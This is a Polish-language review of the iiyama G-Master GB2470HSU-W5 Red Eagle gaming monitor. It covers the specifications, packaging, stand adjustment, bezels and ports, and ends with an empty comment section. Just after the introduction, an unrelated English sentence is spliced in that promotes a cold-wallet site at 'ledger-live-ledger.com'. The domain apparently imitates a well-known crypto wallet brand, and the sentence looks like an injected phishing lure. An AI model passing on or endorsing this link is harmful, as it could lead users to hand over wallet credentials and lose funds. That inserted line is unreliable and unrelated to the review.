iiyama G-Master GB2470HSU-W5 Red Eagle - test. Świetna jakość i przystępna cena.


bigboy177 @ 09:59 07.11.2023
Marcin "bigboy177" Trela
Czasem coś piszę, czasem programuję, czasem projektuję, czasem robię PR, a czasem marketing... wszystko to, czego wymaga sytuacja. Uwielbiam gry, nie cierpię briefów reklamowych!

Na rynku wiele jest monitorów gamingowych. Jeśli szukacie sprzętu dla siebie, jest spora szansa, że iiyama G-Master GB2470HSU-W5 Red Eagle spełni Wasze wymagania. Szczegóły w naszej recenzji.
Ensure the safety and security of your assets with https://ledger-live-ledger.com/'s advanced cold wallet functionalities.

Firma iiyama specjalizuje się w produkcji wysokiej jakości monitorów dla graczy. Kilka miesięcy temu na naszych łamach mogliście przeczytać test modelu G-Master GB2790QSU-B1 Gold Phoenix, wyposażonego w niebywale szybką i cechującą się żywymi kolorami 27-calową matrycą Fast IPS. Jeśli szukacie czegoś podobnego, koniecznie zerknijcie na naszą poprzednią publikację. Jeśli 27 cali to dla Was nieco za dużo, a przy okazji macie bardziej ograniczony budżet, możliwe że zainteresuje Was bohater niniejszego testu, czyli iiyama G-Master GB2470HSU-W5 Red Eagle.

iiyama G-Master GB2470HSU-W5 Red Eagle - specyfikacja techniczna


  • Przekątna ekranu: 23,8" (format: 16:9);
  • Powłoka matrycy: Matowa;
  • Rodzaj matrycy: LED, IPS;
  • Rozdzielczość: 1920 x 1080 (Full HD);
  • Częstotliwość odświeżania ekranu: 165 Hz;
  • Liczba wyświetlanych kolorów: 16,7 mln;
  • Czas reakcji: 0,8 ms (MPRT);
  • Technologia synchronizacji: FreeSync Premium;
  • Technologie ochrony oczu:
    • Redukcja migotania (Flicker free);
    • Filtr światła niebieskiego;
  • Wielkość plamki: 0,275 x 0,275 mm;
  • Jasność: 250 cd/m²;
  • Kontrast statyczny: 1 100:1;
  • Kontrast dynamiczny: 80 000 000:1;
  • Kąt widzenia w poziomie i pionie: 178 stopni;
  • Złącza:
    • HDMI - 1 sztuka;
    • DisplayPort - 1 sztuka;
    • Wyjście słuchawkowe - 1 sztuka;
    • USB 2.0 - 2 sztuki.
  • Głośniki: Tak (2 x 2W);
  • Obrotowy ekran (PIVOT): Tak;
  • Regulacja wysokości: Tak (150 mm);
  • Regulacja kąta pochylenia: Tak (~5° do przodu/w dół oraz ~23° do tyłu/w górę);
  • Możliwość montażu na ścianie: VESA 100 x 100 mm;
  • Pobór mocy: 20 W (praca) oraz 0,5 W (spoczynek);
  • Kolor: Biały;
  • Dodatkowe informacje:
    • Możliwość zabezpieczenia linką (Kensington Lock);
    • Uchwyt na kable;
    • Dołączone akcesoria;
    • Skrócona instrukcja obsługi;
    • Instrukcja bezpieczeństwa;
    • Kabel zasilający;
    • Kabel HDMI;
    • Kabel DisplayPort;
    • Kabel USB.
  • Szerokość: 540 mm;
  • Wysokość (z podstawą): 535 mm;
  • Głębokość (z podstawą): 210 mm;
  • Waga: 4,5 kg;
  • Gwarancja: 36 miesięcy (gwarancja producenta).

Na wstępie zaznaczyć trzeba, że monitor, o którym dziś piszemy występuje w dwóch kolorach: czarnym oraz białym. Drugi wariant kolorystyczny dotarł do naszej redakcji i prawdę mówiąc nie do końca byłem przekonany co do tego, czego się spodziewać. Wystarczyło jednak kilka chwil, aby dostrzec walory zastosowanej tu kolorystyki. Sprzęt prezentuje się naprawdę efektownie, a jednocześnie nie będzie na nim tak bardzo widoczny kurz. Win – win, jak to mówią.

G-Master GB2470HSU-W5 Red Eagle przybył do redakcji w niewielkim opakowaniu. W środku jest sporych rozmiarów styropianowy wkład, okalający całą matrycę oraz wszystkie elementy zestawu. Styropian możecie swobodnie i bez obawy o ewentualne uszkodzenia ekranu wysunąć, wyjąć poszczególne składniki, a następnie delikatnie otworzyć pokrywę i podnieść sam monitor. Ekran, podstawa, kable – wszystko zostało dodatkowo zabezpieczone przy pomocy osobnych pianek, tudzież woreczków, a dzięki temu całość przygotowano do transportu i raczej nie ma mowy o ewentualnych uszkodzeniach.

Sam monitor, ze względu na rozmiary, nie jest ciężki. Montujemy go do specjalnej, także niezbyt dużej, ale estetycznie zrobionej podstawy. Niestety mam w jej przypadku dwa nieduże zarzuty. Po pierwsze, zarówno nogi podstawy, jak i monitor przykręcamy przy pomocy beznarzędziowych śrubek. Nogę jestem w stanie zrozumieć, ale ekran najczęściej wskakuje na "klika", a tu trzeba znowu kręcić. Nie jest to co prawda jakaś duża niedogodność, ale jednak to prostsze rozwiązanie jest bardziej przyjazne użytkownikowi. Druga sprawa to szczeliny, które występują zarówno pomiędzy nogą, a stojakiem, jak i między stojakiem, a monitorem. Wydaje mi się, że dałoby się to zrobić nieco estetyczniej.

Prócz powyższych dwóch delikatnych mankamentów, cała podstawa jest zrobiona w porządku. Jest fajnie przetłoczona, bialutka oraz minimalistyczna. Nie wystaje też zbyt mocno do przodu, przez co nie zajmuje wiele miejsca na biurku. Od spodu podstawy przewidziano gumowe stópki, które odpowiadają za stabilność całej konstrukcji, a z tyłu jest specjalny uchwyt, którym jesteśmy w stanie poprowadzić wszystkie kable. Podstawę możemy oczywiście w dość sporym zakresie regulować. Da się ją unieść lub opuścić, pochylić do przodu lub do tyłu, a także obracać na boki. Ostatni wariant regulacji nie jest często spotykany, a już na pewno nie w monitorach za mniej niż 800 złotych, więc trzeba to docenić, co czynię! Ekran damy radę ponadto ustawić całkowicie pionowo, bo dysponuje on funkcją pivot.

Przechodząc do samego ekranu, dookoła matrycy znajduje się naprawdę wąska, niespełna dwumilimetrowa ramka, która w dolnej części rozszerza się do około 1,5 centymetra. Ramka jest wąska i estetycznie spasowana. Nie ma żadnych szczelin, nigdzie nic nie odstaje. Wszystko jest naprawdę bardzo dobrze połączone, przez co monitor jest estetyczny. W dolnej części ramki znajduje się naklejka z kluczowymi cechami sprzętu, a także niewielkie logo i dioda informująca nas o statusie działania testowanego urządzenia. Jak wspomniałem, design jest prosty, czysty i elegancki, co bardzo mi się podoba.

Minimalizm i elegancję widać też z tyłu. Prócz podstawki monitora, znajduje się tam grill chłodzenia, a także kilka podstawowych gniazd. Jest oczywiście gniazdo zasilania, gniazdo DisplayPort, gniazdo HDMI, gniazdo jack 3,5 mm oraz gniazdo USB-B. Dzięki ostatniemu możemy włączyć hub USB, który wbudowano w monitor, a który daje nam dostęp do dwóch portów USB-A 2.0, umieszczonych w lewej strony obudowy. Żadne nie oferuje szybkiego ładowania, ale nie powinno to być w tym przedziale cenowym zaskoczeniem. Kable potrzebne do skorzystania ze wszystkich możliwości monitora znajdują się w pudełku.

Sprawdź także:
Dodaj Odpowiedź
Komentarze (15 najnowszych):


Powyższy wpis nie posiada jeszcze komentarzy. Napraw to i dodaj pierwszy, na pewno masz jakąś opinię na poruszany temat, prawda?